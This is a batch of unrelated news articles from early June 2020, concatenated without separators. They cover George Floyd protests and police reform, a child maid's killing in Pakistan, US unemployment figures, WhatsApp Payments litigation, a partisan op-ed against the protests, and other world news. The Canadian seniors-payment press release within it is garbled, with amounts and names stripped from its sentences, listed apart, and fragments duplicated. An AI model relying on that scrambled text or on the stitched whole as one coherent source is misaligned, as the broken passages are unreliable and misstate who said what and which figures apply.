I am deeply saddened, truly pained and plain angry. I see and feel everyones pain, outrage and frustration. I stand with those who are calling out the ingrained racism and violence toward people of color in our country. We have had enough. I dont have the answers, but our collective voices show strength and the inability to be divided by others. We must listen to each other, show compassion and empathy and never turn our backs on senseless brutality. We need to continue peaceful expressions against injustice and demand accountability. Our unified voice needs to put pressure on our leaders to change our laws, or else we need to use our vote to create systematic change. Every one of us needs to be part of the solution, and we must work together to ensure justice for all. My heart goes out to the family of George Floyd and to the countless others whose lives have been brutally and senselessly taken through acts of racism and injustice.

Following the huge success of The Last Dance, Jordans popularity has returned to its 90s levels. In the past, Jordan has been criticized for not speaking out more regarding politics and social issues, whereas LeBron James and other current stars are very vocal. But hes certainly making the most of his platform recently with his statements and the massive donation.
ISLAMABAD - Police arrested a Pakistani businessman and his wife who are suspected of beating to death their 8-year-old maid after she inadvertently opened a cage to feed the couples parrots and the birds flew away, an officer said Friday.

Ahmad Nawaz, a local police chief in Rawalpindi, said the man  who employed the girl for 3,000 rupees (about $20) a month  got so angry he beat the maid with his wifes help after the parrots flew away Sunday.

The man, who police identified as Hassan Sidiqui, took the injured girl to a hospital but he fled after realizing she may have died, Nawaz said.

This tragic incident also shocked us, but we are still investigating the case, he said.

The girls death has drawn nationwide condemnation on social media, with ordinary citizens, politicians and human rights activists alike demanding justice for the victim.

Pakistans human rights minister, Shireen Mazari, said she ordered an investigation into the girls death. She took to Twitter this week to say the couple were in police custody.

The couple was to appear before a judge Saturday at a pretrial hearing. They have not yet been charged.

Investigators said they were waiting for an autopsy report and suspect she may also have been sexually assaulted.

Pakistani law forbids children from working, but many Pakistanis hire them to work at homes, factories and shops and officials say they are often abused. An estimated 12 million children are working in Pakistan.

The 8-year-old girl who was killed in Rawalpindi was from a village in southern Punjab province. Her parents took her body home for burial.

A Pakistani human rights group in its annual report earlier this year gave the country a failing grade, charging that too little was being done to protect the countrys most vulnerable, including women and children.

In 2018, a Pakistani court sentenced a judge and his wife to three years in jail for torturing a 10-year-old maid in Islamabad. The case was widely reported in local newspapers but reports of torture of domestic servants have continued. Experts say domestic servants rarely report abuse because for fear of losing their jobs.
The economy added 2.5 million new jobs in May and the unemployment rate declined to 13.3 percent, the U.S. Bureau of Labor Statistics reported today as the country recovers from the coronavirus pandemic and businesses reopen.

In May, employment rose sharply in leisure and hospitality, construction, education and health services, and retail trade, the Labor Department said.

Employment in government continued to decline sharply.

The unemployment rate declined by 1.4 percentage points to 13.3 percent in May, and the number of unemployed persons fell by 2.1 million to 21.0 million.

State and local unemployment rates wont be out until later this month.

But, Massachusetts reported 27,174 initial unemployment claims filed in the week ending May 3  thats down from 37,740 in the previous week and 38,332 for the week before that.

But the the unemployment rate and the number of unemployed are up by 9.8 percentage points and 15.2 million, respectively, since February showing that the coronavirus is still dragging the economy.

The number of unemployed people who were on temporary layoff decreased by 2.7 million in May to 15.3 million, following a sharp increase of 16.2 million in April.

But there are signs that some of those jobs might not come back immediately. Among those not on temporary layoff, the number of permanent job losers continued to rise, increasing by 295,000 in May to 2.3 million.
Facebook-owned WhatsApp has hit back at G2 Chambers that has filed a petition in the Supreme Court against the instant messaging platform, saying the petitioner was trying to block the launch of its digital payments service and the plea should be thrown out.

The Supreme Court had on May 13 accepted G2 Chambers plea to ban WhatsApp Payments for violation of data localisation norms.

WhatsApp is in the process of going live with WhatsApp Payments in partnership with four major banks in India. They are trying to leverage the National Payments Corporation of India-run Unified Payments Interface (UPI) for digital transactions. Currently, it is working on a beta mode with a restriction of a million users only.

In the response filed by the Menlo Park-headquartered company, WhatsApp told the Supreme Court that this was no occasion for any busybody to intervene and superimpose its views in the process and they were creating new barriers for WhatsApp Pay under the guise of fundamental rights.

The plea was filed by Good Governance Chambers, a think tank that was formed two months before the filing of the litigation with no history of privacy advocacy.

Therefore, that such petitions should be dismissed immediately, it said.

Shakil Bagla, who was associated with the petitioner organisation, was facing trial in a bitcoin-based Ponzi scheme and such a petition should not be entertained, WhatsApp said.

WhatsApp said it was under strict scrutiny from the Reserve Bank of India and NPCI, both organisations responsible for running the digital payments infrastructure of the country.
The widespread loss of moral clarity in the wake of rioting following the death of George Floyd is truly frightening, especially from those who really should know better. Take George Clooney, for example, who recently wrote this in an article in the Daily Beast titled "America's Greatest Pandemic Is Anti-Black Racism."

The anger and the frustration we see playing out once again in our streets is just a reminder of how little we've grown as a country from our original sin of slavery.

To liken the situation of black people today with what existed under slavery can be explained only by willful blindness or sheer ignorance. As most people know, under slavery, black people were afforded few rights, and their every "transgression"  even the most minute one  was, as a rule, severely punished. Fast-forward to today, and we see African-American youths  alongside youths of other races  who are making off with handfuls of products from the shops and boutiques they've just plundered. We can be sure that the vast majority of them will never be punished for their acts of pilfering and destruction. Such behavior would most certainly not be tolerated so lightly under slavery. Perhaps Mr. Clooney could do some history reading before penning his declarations.

And lest we forget, it was less than four years ago that America had a black man as its president. Under slavery, a black person was not even allowed to share the same premises with white people. In 2008, on the other hand, the American people sent a black man to reside in the White House. Times have changed dramatically, contrary to what George Clooney may assert. America has, indeed, come a very long way since the times of slavery  so much so that America is the only primarily white nation in the world that has elected a black person to be its highest government official. And Americans did this not only once, but two times.

This is what Politico reported the day after Barack Obama's historic 2008 victory:

Barack Obama, who will be the nation's first African-American president, won the largest share of white support of any Democrat in a two-man race since 1976[.] ... A stunning 54 percent of young white voters supported Obama, compared with 44 percent who went for McCain, the senator from Arizona.

Does this look to you like the actions of a populace that still harbors a slavery mindset?

And how do you explain the many black people who have achieved great success  in terms of general admiration and earnings  in America in recent decades? The names are too many to list, so we just mention a few here to remind ourselves: Michael Jordan, Oprah Winfrey, Michael Jackson, Tiger Woods, Prince, Whitney Huston, etc. The tremendous success of these black Americans would not have been possible without the love and adulation of countless whites who enthusiastically spent billions of dollars for the privilege of enjoying the skill and genius of these black individuals through purchasing the content they produced, watching them perform, or buying the products they endorsed.

Yet despite all of this, Mr. Clooney writes:

This [racism] is our pandemic. It infects all of us, and in 400 years we've yet to find a vaccine.

George Clooney is flat-out wrong: we need no such vaccine, because most Americans are not racists. Most Americans are good people who are willing to vote across racial lines for the candidates they like. The record clearly shows that on the whole America is not a racist nation, and it certainly is not what it used to be in the times of slavery...far, far from it.

To honor the looting, rioting, arson with the name of "protests" is a moral travesty. Contrary to what many commentators and observers claim, those carrying out this senseless violence have nothing to do with the tradition of civil disobedience that has been used in the past to advance the cause of civil rights. The perpetrators of these acts are nothing more than lawbreakers who need to be stopped and penalized for their deeds. Sadly, the decades of civil rights demagoguery have eviscerated the moral resolve of many of our leaders to the point that they are afraid to take appropriate action even as these delinquents are destroying the very fabric of our civil society.

Those wreaking havoc are certainly no civil right activists. How does looting of businesses and stealing Nike shoes and iPhones honor the memory of George Floyd? To everyone with the eyes to see, it is patently obvious that the vast majority of the rioters know or care very little about the man whose tragic and unnecessary death is used as a justification for acts of violent pandemonium.

We must move beyond the convoluted thinking and untrue statements of the so-called civil rights leaders and people like George Clooney. What we need is to regain moral clarity and call what is happening in America today by its proper names: criminal plundering, arson, wanton violence, and property destruction. Racism is not the issue or the problem here, and to use it as an excuse for the anarchy that threatens to engulf this land is unforgivable. Looters are looters regardless of the color of their skin, and they all should be treated as such. The charge of racism is a ploy used by the left for political purposes of advancing its spurious agendas of division and identity politics.

The first task of any legitimate government is to provide for safety of its law-abiding citizens and their property. The decent people of this country have the right to demand that President Trump, our elected leaders and law enforcement push back the looting mob and stop this criminal behaviour with whatever force it takes.

Photocredit: YouTube scren grab (cropped).
Buffalo, New York: All 57 members of a police tactical unit in Buffalo, New York, have resigned from the volunteer team to protest the suspension of two colleagues who were filmed shoving a 75-year-old man to the ground.

Video from public radio station WBFO of Thursday night's encounter, which happened near the conclusion of protests over the death of George Floyd in Minnesota, quickly sparked public outrage and a protest by city police who felt the officers were being mistreated.

It shows a man identified as Martin Gugino approaching a line of helmeted officers holding batons as they clear demonstrators from Niagara Square around the time of an 8pm curfew. Two officers push Gugino backward, and he hits his head on the pavement. Blood spills as officers walk past.

A separate report on local affiliate WKBW said the 57 officers resigned because the police union would not extend legal support for their work on the volunteer team. I dont understand why the union said its a thing of solidarity," one of the officers told WKBW. "I think it sends the wrong message that were backing our own and thats not the case, he said.
Journalists know that when they cover chaotic and dangerous events, a press credential is a thin shield against the bullets flying and batons swinging around them. But as protests have spread around the nation in recent days, journalists have become the targets themselves because they are journalists.

That is troubling on a number of levels. Whatever you think about the fourth estate, news reporters serve as the publics eyes and ears on the events shaping the world. And in too many cities, local law enforcement has been trying to stop them from showing the public the turmoil caused by the death of George Floyd  and the governments response to it.

The medias job is complicated by a president who routinely refers to the media as the the enemy of the people, a freighted designation that historically has come with official crackdowns and persecutions. President Trump resorts to inflammatory rhetoric with disconcerting regularity, but words have meaning, and consequences.

The Nieman Lab, which covers trends in journalism, reported Monday that journalists had been attacked by police officers more than 110 times since May 28, when the street protests over Floyds death while in police custody in Minneapolis spread nationwide. Some of those incidents were incidental, as journalists got caught between factions. But many were intentional.

Nick Waters, who reports for the online investigative news site Bellingcat, has been keeping a running compilation of reports on Twitter of journalists attacked as they cover protests around the nation. A photographer jabbed in the stomach with a police baton in Los Angeles. A photographer in Indianapolis threatened by a police officer brandishing a rifle that fires less than lethal ammunition. A TV crew targeted with rubber bullets while broadcasting live in Louisville. Adding an international dimension, the Australian government has launched an investigation into the police tear gas assault on an Australian TV crew airing live from outside the White House.

In the highest-profile incident, CNN reporter Omar Jimenez and his camera and sound crew were arrested, also live on air, in Minneapolis, as was a local TV crew  two among a series of such abuses in that city. African American journalists have reported being singled out, including a reporter for the Detroit Free Press approached by a police officer as he stood amid a small group of white journalists.

Its not just police lashing out at journalists. Protesters themselves have targeted the media. A throng vandalized CNN headquarters in Atlanta. Protesters battered a Fox TV crew outside the White House. A mob assaulted a photographer as he took video of them looting a store.

And on it goes.

As dispiriting as it is for journalists to be attacked by members of the public, it is even more problematic  and dangerous for democracy  when the attackers are sanctioned by the government. A police officer in paramilitary garb and armed to the teeth sends a specific message when targeting those who, exercising their 1st Amendment rights, are trying to serve as witnesses to governmental actions amid social unrest. Its not paranoid to think that attacks in those circumstances  and scores of them nationwide  are acts of governmental intimidation intended to dissuade those who would bear witness.

Its always hard to tell how intense a storm is when you stand in the middle of it, so its unclear whether the current outpouring of grief and anger around the nation will bend the long arc toward justice for African Americans and other people of color. We hope the past week reflects a broad chorus of American voices from across the spectrum of race and class rising to tell police  and the governments that employ them  that they must reform how they enforce laws and deal with communities they have historically mistreated.

But in the meantime, police and government officials need to recognize how important it is for journalists to bear witness to these events, as well as their right to do so without fear of being targeted by agents of the state.

 Los Angles Times
The US conducted its first air strikes against the Taliban since a rare ceasefire between the insurgents and Afghan forces ended more than a week ago, the US military said Friday.

The two assaults took place on Thursday and Friday in separate provinces in Afghanistan, spokesman Sonny Leggett said on his Twitter account.

These were the 1st US airstrikes against (the Taliban) since the start of the Eid ceasefire, he wrote.
The Movement for Democratic Change (MDC-T) led by Thokozani Khupe claims that it has taken over Morgan Richard Tsvangirai House.

According to some MDC-T activists, several party members visited the office Thursday evening in Harare, which was being used by Nelson Chamisas MDC Alliance, and asked the youth found in the building to leave.

MDC-Ts organizing secretary for Harare province, Rhino Mashaya, told VOA Studio 7 that they took over the office without a fight.

Some of the MDC Alliance youth guarding the premises called our members and asked them to take over the offices. Our youth in the Harare central business district went there and did that. There was no resistance at all as that office belongs to us.

He dismissed as wishful thinking reports that the MDC-T was assisted by the Zimbabwe Defence Forces in taking over the building.

Chamisas spokesperson, Dr. Nkululeko Sibanda, was unreachable for comment as he was not responding to calls on his mobile phone.

Sibanda recently attacked MDC-T saying the party is now allegedly working with Zanu PF in an attempt to cripple the opposition party.

The Supreme Court sometime this year ruled that Chamisa is not the legitimate leader of the MDC and ordered it to hold an extraordinary congress to replace the late founding president Morgan Tsvangirai.
Two persons have been arrested for allegedly smuggling illicit liquor into Punjabs Fazilka from Rajasthan, on Friday. As many as seven cops were transferred on charges of helping the illicit liquor traders. A departmental inquiry has been marked against them.

Fazilka senior superintendent of police (SSP) Harjit Singh said the transferred personnel include assistant sub-inspectors-rank officials, head constables and constables. Further action will be taken against them after departmental inquiry, said the SSP.

Detailing about the arrests, the SSP said that a police team nabbed a liquor trader, Karamvir alias Gaggi, with 311 litres of smuggled liquor. Gaggi had been smuggling liquor from Haryana for the last two years and was instrumental in causing sales drop in Abohar area, he said.

Another team led by Balluana deputy superintendent of police (DSP) booked Anand Kansal, a liquor trader of Abohar, who used his driver, Bhani Bhaat, to smuggle 77 litres of liquor from Rajasthan side for illegal sale in Abohar area, added the SSP.

Both Karamvir and Anand Kansal have legal liquor shops in Rajasthan but the higher rates in Punjab prompted them to smuggle liquor into the state, said the SSP.

As many as 105 cases have been registered and 78 persons held with 6,000 liters of liquor in the last fortnight alone.
The recent openings of two centers have put the Medical University of South Carolina on the map as a leading institution for digestive and liver disease research.

This spring marked a seismic shift for digestive and liver disease research at the Medical University of South Carolina (MUSC) with the award of more than $16.5 million in National Institutes of Health funding to open two new tightly integrated centers.

MUSC became the only institution in the country to house both a Digestive Disease Research Core Center (DDRCC), which supports the research of established scholars, and a Center for Biomedical Research Excellence in Digestive and Liver Disease (CDLD), which mentors early-career investigators to become independent scholars.

MUSC is now one of only 17 DDRCCs in the nation. Department of Medicine investigator Don C. Rockey, M.D., a gastroenterologist, serves as the MUSC DDRCC's director. Department of Regenerative Medicine and Cell Biology chair Stephen A. Duncan, D.Phil., a basic scientist specializing in liver disease research, serves as associate director.

"The institutions that are home to a DDRCC represent the true leaders in academic gastroenterology and hepatology," said Rockey. "These are great programs, and for us to be in that company is fabulous. Speaking for myself and Steve, we're very proud of this achievement."

To be chosen as a DDRCC by the National Institute of Diabetes and Digestive and Kidney Diseases, an institution must have a strong core of investigators who are recognized as leaders in an area of digestive disease research. DDRCCs are also led by nationally and internationally prominent investigators. The funds from the NIDDK help to support efforts to build the center into a national resource on the topic.

The MUSC DDRCC will provide stable funding to support some 30 basic science and clinician-scientist investigators working in the field of digestive and liver disease. They all work in areas related to the theme of the DDRCC, which covers the area of inflammation, fibrosis and organ dysfunction throughout the gastrointestinal tract. The center will also help to attract luminaries and promising mid-career investigators in gastrointestinal disease to MUSC.

"We're excited to be able to recruit people right now who would never consider us without these kinds of resources," said Rockey.

But, according to Rockey, great programs not only recruit successful researchers, they help create them. Only by developing a pipeline to produce the next generation of researchers can a program achieve sustained excellence.

And it is the goal of the CDLD is to create such a pipeline.

"The CDLD really aims to take very new, inexperienced investigators and give them the tools, the research resources, as well as the environment that will allow them to transition to be superstar independent researchers who focus on digestive disease," said Duncan, who in addition to his role with the DDRCC also serves as director of the CDLD. Rockey serves as associate director.

Made possible by a grant from the National Institute of General Medical Sciences, the CDLD provides junior investigators with a robust grant and offers them the mentorship and other resources they need to obtain independent grant funding. Once they do, they will transition to the DDRCC, opening a slot for another junior investigator.

Currently, the center has three junior investigators: Antonis Kourtidis, Ph.D., and Eric G. Meissner, M.D., Ph.D., both assistant professors in the College of Medicine, and Chad M. Novince, Ph.D., D.D.S., an assistant professor in the College of Dental Medicine. A fourth is currently being recruited and will assume the spot of Je-Hyun Yoon, Ph.D., an assistant professor in the College of Medicine, who was to be the fourth fellow. Yoon recently obtained independent grant funding and will therefore move directly into the DDRCC.

The centers, which are highly complementary, grew from a strong collaboration between Rockey, a physician-researcher, and Duncan, a basic scientist.

"It's very easy for basic scientists to get really focused on minutiae," said Duncan. "But through our collaboration - Don and I work very, very well together, unusually well together - we've been able to begin to pull together an environment that allows the basic scientists to really become more facile with the problems that our physician-scientists are seeing related to the clinics and vice versa."

The DDRCC also offers clinician-scientists much-needed protected time to pursue their research projects.

Fostering multidisciplinary collaborations like that between Rockey and Duncan is a principal goal of both centers. To achieve this, both the DDRCC and CDLD provide grant funding to investigators through their Pilot Project programs directed by Caroline Westwater, Ph.D.

"Both the DDRCC and CDLD aim at encouraging collaborations among investigators and helping those collaborations be successful," said Rockey.

"The collaboration between the two centers has generated a really rich environment at MUSC for us to study digestive disease research," said Duncan.

Both centers offer their researchers, as well as other investigators across campus, access to the research tools that are necessary to conduct cutting-edge digestive and liver disease research. The two centers share research cores in cell models, directed by Duncan, and advanced imaging, directed by John J. Lemasters, M.D., Ph.D. In addition, the DDRCC has a proteomics core directed by Richard R. Drake, Ph.D., and a clinical component, intended to provide study design and statistical support, directed by Paul Nietert, Ph.D. The CDLD also includes an animal models core, directed by Suzanne Craig, D.V.M., and statistical support through Viswanathan Ramakrishnan, Ph.D.

The centers also support a common seminar series and an annual retreat focused on digestive and liver disease research that attracts digestive and liver disease researchers from around the state.

Together, these centers will help to make MUSC a powerhouse in digestive and liver disease research for years to come. The resulting research could provide new insight into treating gastrointestinal disease and be an asset for the state and nation.

"Digestive disease is a huge problem in South Carolina, as it is nationally. And it is certainly understudied," said Duncan. "And so I think the research that will result from these grants will contribute to a growing understanding of digestive disease and, we hope, ultimately treatments."

They also mark MUSC's entree into the national arena as a major player in gastroenterology and gastrointestinal research.

"Simply put, the goal here is to be great. We want to be the best gastroenterology program in the U.S."

###

About the Medical University of South Carolina

Founded in 1824 in Charleston, MUSC is the oldest medical school in the South as well as the state's only integrated academic health sciences center with a unique charge to serve the state through education, research and patient care. Each year, MUSC educates and trains more than 3,000 students and 800 residents in six colleges: Dental Medicine, Graduate Studies, Health Professions, Medicine, Nursing and Pharmacy. The state's leader in obtaining biomedical research funds, in fiscal year 2019, MUSC set a new high, bringing in more than $284 million. For information on academic programs, visit http://musc.edu.

As the clinical health system of the Medical University of South Carolina, MUSC Health is dedicated to delivering the highest quality patient care available while training generations of competent, compassionate health care providers to serve the people of South Carolina and beyond. Comprising some 1,600 beds, more than 100 outreach sites, the MUSC College of Medicine, the physicians' practice plan and nearly 275 telehealth locations, MUSC Health owns and operates eight hospitals situated in Charleston, Chester, Florence, Lancaster and Marion counties. In 2019, for the fifth consecutive year, U.S. News & World Report named MUSC Health the No. 1 hospital in South Carolina. To learn more about clinical patient services, visit http://muschealth.org.

MUSC and its affiliates have collective annual budgets of $3.2 billion. The more than 17,000 MUSC team members include world-class faculty, physicians, specialty providers and scientists who deliver groundbreaking education, research, technology and patient care.
OTTAWA, ON

June 4, 2020

Justin Trudeau

July 6

$900

$1,500

$300

$200

$500

$500

$2.5 billion

Canada

$375

$510

$20 million

Canada

Canada's

Justin Trudeau

Canada

$1,500

Deb Schulte

Seniors do not need to apply for this one-time special payment. The payment will be issued automatically during the week of July 6 , and seniors who reside in Canada can expect to receive the payment by direct deposit or cheque that week. For seniors who reside outside Canada , the one-time payment will also be received in July for those on direct deposit, but delays can be expected for cheques, given international postal disruptions.

, and seniors who reside in can expect to receive the payment by direct deposit or cheque that week. For seniors who reside outside , the one-time payment will also be received in July for those on direct deposit, but delays can be expected for cheques, given international postal disruptions. There are currently 6.7 million seniors who are eligible for the OAS pension and 2.2 million who are eligible for the GIS.

The government has taken a number of actions to support seniors through the outbreak of COVID-19, such as:

Providing a special top-up payment through the GST credit in April. More than 4 million low- and modest-income seniors benefitted from this top-up, receiving a total of $1.3 billion in financial support. Close to 85 per cent of single seniors and almost half of senior couples benefited from this payment.

in financial support. Close to 85 per cent of single seniors and almost half of senior couples benefited from this payment.

Temporarily extending GIS and Allowance payments if seniors' 2019 income information has not been received. This will ensure that the most vulnerable seniors continue to receive their benefits when they need them the most. To avoid an interruption in benefits, seniors are encouraged to submit their 2019 income information as soon as possible and no later than by October 1, 2020 .

.

Providing seniors flexibility with their registered retirement income funds (RRIFs), by reducing minimum withdrawal requirements by 25 per cent for 2020. This will help preserve assets during a volatile market.



Investing an additional $20 million to expand the New Horizons for Seniors Program to support organizations that offer community-based projects that reduce isolation, improve the quality of life of seniors, and help them maintain a social support network.

to expand the New Horizons for Seniors Program to support organizations that offer community-based projects that reduce isolation, improve the quality of life of seniors, and help them maintain a social support network.

Contributing $9 million through United Way Centraide Canada for local organizations to support practical services to Canadian seniors. These services could include the delivery of groceries, medications, or other needed items, or personal outreach to assess individuals' needs and connect them to community supports.

through United Way Centraide Canada for local organizations to support practical services to Canadian seniors. These services could include the delivery of groceries, medications, or other needed items, or personal outreach to assess individuals' needs and connect them to community supports.

Investing $100 million to improve access to food for Canadians, including seniors, facing social, economic, and health impacts of the COVID-19 pandemic.

to improve access to food for Canadians, including seniors, facing social, economic, and health impacts of the COVID-19 pandemic.

Creating a $350 million Emergency Community Support Fund to support charities and non-profit organizations to adapt the services they provide to vulnerable groups, including seniors, in response to COVID-19.

Emergency Community Support Fund to support charities and non-profit organizations to adapt the services they provide to vulnerable groups, including seniors, in response to COVID-19.

Introducing the Canada Emergency Response Benefit (CERB), a taxable benefit of $2,000 every 4 weeks for up to 16 weeks to eligible workers, including seniors, who have stopped working due to COVID-19. Pension income does not affect eligibility to the CERB. The government also extended the eligibility of this benefit to individuals who earn up to $1,000 per month, as well as workers who have recently exhausted their EI regular benefits and are unable to find a job or return to work because of COVID-19.

Coronavirus disease (COVID-19)

Canada's COVID-19 Economic Response Plan

COVID-19 Economic Response Plan Prime Minister announces additional support for Canadian seniors

Prime Minister announces further support to help Canadians in need

Prime Minister announces support for vulnerable Canadians affected by COVID-19

/CNW/ - Canadian seniors across the country are facing significant health, economic, and social challenges due to COVID-19. Physical distancing is weighing heavily on those who are separated from their families, and rely on help to get groceries and other essential items. We need to support seniors and to be there for them, as they have been for us.The Prime Minister,, today announced that seniors eligible for the Old Age Security (OAS) pension and the Guaranteed Income Supplement (GIS) will receive their special one-time, tax-free payment during the week of. Through this measure and others, the government is providing nearlymore for single seniors and more thanfor senior couples, on top of their existing benefits, to help these vulnerable Canadians with extra costs during the pandemic.Seniors eligible for the OAS pension will receive a payment of, and those also eligible for the GIS will receive an additional, for a total of. Allowance recipients will also receive. Thisin financial support will help Canadian seniors cover increased costs caused by COVID-19, and give them greater financial security in this time of crisis.Since the start of the pandemic, the Government ofhas introduced a number of measures to support seniors, including those most vulnerable. This includes a one-time special payment through the Goods and Services Tax (GST) credit in April, which provided an average ofto single seniors andto senior couples, helping over 4 million low- and modest-income seniors. We are also investing an additionalin community organizations that offer services to seniors, and have reduced minimum withdrawal requirements for all types of registered retirement income funds (RRIFs) by 25 per cent for the year 2020. In addition, we have taken steps to make sure seniors would continue to receive their GIS benefits if they were unable to submit their 2019 income information on time.As we gradually restart our economy, the Government ofwill continue to support all Canadians, including seniors and those most vulnerable, and respond to the health, social, and economic impacts of COVID-19.seniors have done so much for our country, and we need to be there for them during this challenging time. We know that the last few weeks have been difficult for seniors and their families across the country, especially those most vulnerable. That's why we are continuing to support our seniors during this pandemic, with measures that will protect their health, and ensure their economic and social well-being."The Rt. Hon., Prime Minister of"As seniors stay safe by staying at home during COVID-19, their costs have gone up. Early on, we provided a special GST credit payment to help over 4 million seniors. Now we are providing a one-time, tax-free payment to all seniors eligible for Old Age Security, with extra support for the most vulnerable. Altogether, a low-income couple is receiving overin support for increased costs during the pandemic. As we go through this unprecedented challenge, the government will continue to be there for Canadian seniors."The Hon., Minister of SeniorsThis document is also available at https://pm.gc.ca/SOURCE Prime Minister's Office
At a protest in Detroit Saturday, 29-year-old Josh Franklin, a black man, wore a list of law enforcement reform recommendations on a piece of cardboard that hung around his neck.

End private prisons and more community policing were among his tips to improve the judicial system and police culture. While other signs in the crowd expressed anger toward law enforcement with phrases like, save a pig, eat a cop, Franklin hopes constructive change will soon take shape.

Calls for change have been expressed in protests against police brutality in Michigan and nationally after the killing of George Floyd in police custody in Minneapolis, where one former officer has been charged with second-degree murder. As the public reacts, Michigan leaders are responding with new ideas for training and policing reform.

Franklin, who lives in St. Clair Shores, believes hes been on the receiving end of racial profiling by police. Once stopped for driving a couple miles over the speed limit in the wealthy, predominantly white Detroit suburb of Grosse Pointe Shores, he said police insisted on a thorough search of his car, something he doesnt believe his white friends would have endured. He said he understands the anger held by fellow protesters.

Franklin said the protests hold a different meaning for everyone, ranging from rage over the killing of George Floyd and the reluctance of prosecutors to charge the officers involved to objections with bad behavior within specific police departments, but for him, its about systemic failures within the institution of policing that need to change.

Michigan leaders, too, have called for change after a week of protests that resulted in arson, vandalism, looting, clashes with police who fired tear gas and rubber bullets on protesters and hundreds of arrests in multiple Michigan cities, including Grand Rapids, Lansing, Kalamazoo and Detroit.

Related: Detroit protesters claim victory after curfew restrictions eased

Gov. Gretchen Whitmer on Wednesday announced her support for a series of legislative plans focused on increased de-escalation and bias training and asked departments to be proactive in creating their own policy changes to increase public trust.

The deaths of George Floyd, Ahmaud Arbery, and Breonna Taylor were a result of hundreds of years of inequity and institutional racism against Black Americans, Whitmer said. Here in Michigan, we are taking action and working together to address the inequities Black Michiganders face every day."

Lt. Gov. Garlin Gilchrist II said Michigan residents are calling for changes to police practices, especially in regard to treatment of blacks, Latinos and other people of color, who feel underserved" and "threatened by police.

Michigan members of Congress discussed the topic during a Wood-TV, channel 8 virtual town hall meeting Wednesday, June 3 and agreed unanimously that the Legislature should take this opportunity to improve policing.

There clearly is a problem with racial bias ... " said U.S. Rep. John Moolenaar, R-Midland, who also proposed more and better training for police related to race.

U.S. Rep. Tim Walberg, R-Tipton, proposed the possibility of the federal government playing a role in monitoring police departments for bad actors, of whom he said there are very few" in law enforcement.

When the police officer like the police officer who murdered George Floyd had 12 ... insurrections against him already, why was he still continuing on, Walberg said. Maybe its time at that point where the records after two (disciplinary issues) would come up, that the Justice Department would take a look at whats happening here, and take it from the local community -- even the state -- and say, we have to find out why this officer is going bad."

U.S. Rep. Justin Amash, I-Cascade Township, who recently flirted with becoming a presidential candidate on the Libertarian Party ticket, spoke of legislation he proposed Thursday that would do away with qualified immunity for police and other government officials. Qualified immunity is a legal cloak of protection that largely blocks citizens from suing police officers and other government employees.

"Qualified immunity protects police and other officials from consequences even for horrific rights abuses, Amash said upon unveiling the bill. It prevents accountability for the bad apples and undermines the publics faith in law enforcement ... Members of Congress have a duty to ensure government officials can be held accountable for violating Americans rights, and ending qualified immunity is a crucial part of that.

U.S. Rep. Elissa Slotkin, D-Holly, without giving details, said there is a bunch" in-the-works legislation that could force meaningful change within the police departments nationally, especially in regard to the obligation of officers to step in when there are bad apples.

U.S. Rep. Fred Upton, R-St. Joseph, who denounced violent protesting, recognizes there are "immense problems that we have to deal with. Hes part of the 50-member, bipartisan Problem Solvers Caucus thats looking at police reform.

We need to ensure there is accountability, look at creating new standards and analyze the inherent problems that have caused this issue to rise, Upton said, although he didnt share any specific efforts that are being looked at.

U.S. Rep. Bill Huizenga, R-Zeeland, recommended increasing the availability of body cameras and potentially making them mandatory for the sake of transparency.

Attorney General Dana Nessel announced Thursday that she and counterparts in 16 other states in a letter to Congress requested greater authority for states to investigate and resolve patterns or practices of unconstitutional policing within their police departments.

The Department of Justice has held that authority since 1994, thanks to a law passed in response to the videotaped beating of Rodney King by Los Angeles police in 1991.

Since passage of the law, the Department of Justice has investigated about three departments in the nation per year, a statement from the Attorney Generals Office said.

My colleagues and I refuse to turn a blind eye to police misconduct and we are calling on Congress to equip us with these additional tools so that we may dig deeper," Nessel said.

Some protesters said theyve lost faith in politicians and the government to correct problems that have existed and been ignored for so long.

That mounting frustration, sparked by the killing of George Floyd, burst forth in the form of countless police brutality protests, many that have led to rioting or violence.

Weve got to do it some way so they can get it through their heads, said 20-year-old Lero James as he marched with nearly 500 other protesters through Detroit chanting on Sunday. Were fed up.

More on MLive:

Groups accuse Detroit police of doing what protesters are fighting against

Detroit protest organizer arrested

Detroit police arrest protesters on fifth night of marching

Curfews set in 3 Michigan cities

Protesters clash with police in Kalamazoo

Detroit protests turn violent

Detroit protests end peacefully

Grand Rapids protesters scatter
Chinese peacekeeping medical team treats wounded Pakistani soldiers

EditorChen Zhuo Time2020-06-05 14:14:25

Chinese peacekeeping medical workers perform an operation on an injured Pakistani soldier. (PLA DAILY/ Guo Xiaoning)

MIKINGI, DRC, June 5 -- On May 28 (local time), two Pakistani soldiers were injured by illegal armed gunmen in an attack on Pakistani peacekeeping camp in Mikingi, Democratic Republic of the Congo, and were soon transported to the secondary hospital of Chinese peacekeeping force. Currently the two soldiers have been discharged from hospital and are in stable condition.
Global healthcare charity Doctors Without Borders (MSF) said Friday it has suspended medical support in northern Mozambique following an attack by Islamist militants last week. Gunmen descended on the town of Macomia in the early hours of May 28, causing thousands of inhabitants to flee as security forces withdrew. The insurgents set fire to homes, schools and government buildings and destroyed a health centre where MSF had been operating. The charity said in a statement that its "teams have been forced to suspend medical support in Macomia" after the attack. MSF had 27 staff working in Macomia -- their only deployment in the gas-rich Cabo Delgado province, which has been grappling with an escalating jihadist insurgency since 2017. "They hid in the bush for nearly two days terrified to come out," said head of mission Caroline Gaudron Rose, adding that the escapees had all been rescued. "Our ability to reach those in need is jeopardised by this increase in violence." Attacks by a shadowy Islamist group known as Al-Shabaab -- which has no link to the group of the same name operating in Somalia and Kenya -- have killed more than 1,100 people over the last two years. The jihadists have grown bolder in recent weeks, stepping up attacks as part of a campaign for an Islamist caliphate in Cabo Delgado. More than 211,000 people have fled their homes in the province, according to the UN, and there is growing concern among energy companies in the region. MSF said there were still thousands of displaced people hiding in the bush following the attack. "Without shelter, clean water and access to medical care, they are extremely vulnerable," said Gaudron Rose.
The number of COVID-19 cases confirmed within the Defense Department surpassed 10,000 this week, with the Army seeing the largest jump -- by nearly a third since May 29.

Despite a nearly 11% rise in cases and 37 more hospitalizations in the DoD community since May 29, however, deaths have remained at 36 for the past eight days -- a case fatality ratio of 0.3% compared with the United States' overall rate of 5.8%.

Read Next: 'Only African American in the Room:' Next Air Force Chief of Staff Speaks Out on Racism in Ranks

The Army saw its cases rise from 1,383 on May 29 to 1,815 as of June 5, including at least 16 cases among cadets at the U.S. Military Academy in West Point, New York, and 210 among recruits at Fort Benning, Georgia, and Fort Leonard Wood, Missouri.

